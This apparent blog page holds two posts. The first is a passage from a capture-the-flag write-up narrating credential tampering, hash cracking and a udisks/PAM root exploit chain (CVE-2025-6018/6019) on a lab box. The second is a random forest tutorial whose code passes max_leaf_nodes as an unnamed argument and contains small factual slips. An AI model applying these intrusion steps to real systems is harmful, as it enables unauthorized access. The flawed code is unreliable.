I poked around in the root /var/www/pterodactyl directory and found the artisan binary, of which I could potentially just create my own user using artisan p:user:make:

Which is then appended to the mysql users db:

So, I’ll try logging into the pterodactyl panel with my new credentials (mdunn99:password). We have direct access to the other users we saw earlier in the database and can change their passwords:

Upon numerous SSH attempts, I was still prompted with a password requirement, and overwriting those users’ passwords was preventing me from using it as a potential duplicate password for the SSH password.

I revisited the cracking attempt and successfully cracked user phileasfogg3’s bcrypt hash which matched their SSH password, and retrieved the user.txt flag.

Root Privilege Escalation

As I’m checking out files with capabilities and anything that looks interesting on the file system (including the previously mentioned artisan binary), I’m running a linpeas.sh instance, which notifies me that there are some mail messages on the phileasfogg3 user. Let’s read:

From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to headmonitor@pterodactyl.htb

— HeadMonitor
System Administrator

grepping systemctl for udisks confirms this service is running:

phileasfogg3@pterodactyl:~> systemctl | grep udisks
udisks2.service ... loaded active running | Disk Manager

Per the Arch Linux wiki::

udisksd(8) is started on-demand by D-Bus and should not be enabled explicitly. It can be controlled through the command-line with udisksctl(1).

Running udisksctl dump will include the version number for udisks2: 2.9.2, which reveals a vulnerability that affects a few operating systems. To confirm if the operating system of the box is vulnerable, I read /etc/os-release: openSUSE Leap 15.6, which is a listed vulnerable target for udisks2 versions >= 2.9.2: Source: https://www.suse.com/security/cve/CVE-2025-8067.html

A PoC is published by born0monday. After running it, I’m unfortunately met with this error:

gi.repository.GLib.Error: g-io-error-quark: GDBus.Error:org.freedesktop.UDisks2.Error.NotAuthorizedCanObtain: Not authorized to perform operation (36)

A published seclists.org mail/blog provides us with a helpful hint for getting around this issue:

So really depends how is your session classified and yes, the attack surface is slightly lower for non-local seats. However, combine it with other CVEs, notably CVE-2025-6018, and you have a bigger problem.

CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15’s PAM https://www.openwall.com/lists/oss-security/2025/06/17/4

which led me to:

CVE-2025-6018: LPE from unprivileged to allow_active in SUSE 15’s PAM CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks

and a website that walks me through the whole process of exploiting openSUSE Leap 15 “via the udisks daemon.” I successfully create a malicious payload (on the attack machine) and mount it using a loop block (with udisks) on the victim machine, giving me a root shell.

Random Forest Regression - Hyperparameters and Feature Selection

It was earlier last month when I decided to get a head-start on learning how to build machine learning models and manipulate datasets using libraries like pandas and numpy. Kaggle, the excellent dataset resource, it turns out, also provides in-depth courses and challenges to stimulate the exact kinds of things I wanted to get involved in. Their short “Intro to Machine Learning” course was an excellent primer for building a simple model leveraging the SciKit sklearn Python libraries.

Completing this course brought me to a page where I was able to submit my own model for an associated competition for predicting housing prices. This was an excellent opportunity to apply what I had just learned and to prove my problem-solving and creative-thinking skills.

After completing this project, I became very familiar with the train_test_split method of building machine learning models and the process of training -> fitting, training -> fitting. I learned how looping a training process with incremental changes to the training model will yield optimal results - things like proper feature selection and hyperparameter tuning.

I encountered a few problems throughout this project:

1. Most of the features from the dataset were categorical, non-integer data. How can a random forest make sense of textual data?
2. How could I select hyperparameters more effectively - less manually?
3. How could I select features more effectively - less manually?
4. How did I know that a random forest regressor was ideal for this dataset?

Converting Categorical Data to Numerical Representations

My first problem was quite trivial. I wrote a function to loop through ‘object’ dtypes in a given pandas dataframe and used sklearn.preprocessing’s LabelEncoder to fit_transform() the selected column, effectively creating numerical representations of comparable values.

def convert_categorical_to_integer_labels(dataframe):
    for col in dataframe.select_dtypes(include='object').columns:
        # ignore non-feature
        if col == 'SalePrice':
            continue
        # remove missing data from selected dataframe
        dataframe[col] = dataframe[col].fillna('Missing')
        # apply fit_transform
        dataframe[col] = le.fit_transform(dataframe[col])
    return dataframe

Redefining my main dataframe, train_data as itself ran through this function now yields a fully-usable dataset.

Tuning Hyperparameters and Selecting Features

Developing this small model gave me insight into how decision trees work on a granular level, like how too many leaf nodes in a decision tree or random forest can lead to poor model performance. As the model is built and becomes too large, it may try to find similarities between features that don’t exist. This is why it’s imperative to guide the model in the right direction through the process of tuning.

Tuning hyperparameters like max_leaf_nodes is useful for creating a more accurate model, but it’s far more effective to automate the process. I simply defined a list of some integers from 0-500 candidate_leaf_nodes = [5,10,25,50,100,200,500,700,1000] and ran it through a function that I also used to iterate through feature selection:

def train_model_return_error(X, y, max_leaf_nodes):
    X_train, X_val, y_train, y_val = train_test_split(X, y, random_state=1)
    model = RandomForestRegressor(max_leaf_nodes, random_state=1)
    model.fit(X_train, y_train)
    y_pred = model.predict(X_val)
    mae = mean_absolute_error(y_val, y_pred)
    return mae

…

for leaf in candidate_leaf_nodes:
    mae = train_model_return_error(X, y, leaf)
    candidate_leaf_nodes_mae_index.append([leaf, mae])

A list pairing each candidate with its MAE allowed me to select the ideal_leaf_nodes with an anonymous function:

ideal_leaf_nodes = min(candidate_leaf_nodes_mae_index, key = lambda x: x[1])[0]

When we view the results from candidate_leaf_nodes_mae_index, we can clearly see diminishing returns as max_leaf_nodes increases, and even inconsistent negative growth as the model reaches a count of 1000.

I initially planned to use a sliding window approach, but discovered Random Forest’s built-in importance scores were more principled and computationally efficient.

importances = model.feature_importances_

Top 20 features by importance (80 total were selected). The steep dropoff shows how concentrated predictive power is in just a few features.

This project is the first of many in my exploration of machine learning models and their optimization. Exploring different approaches to feature selection, from manual sliding windows to sklearn’s built-in importance scores, taught me the value of leveraging well-tested libraries. I also learned about the power of continuous model fitting and doing so in a results-oriented way, using mean absolute error as one method of measuring effectiveness.

Coming away from this project had me wondering if a random forest regressor is truly ideal for this project. What other ensemble learning methods could I try? In the future, I’ll examine other ensemble methods like kernel methods or gradient boosting and try to understand how each can be used for different kinds of applications.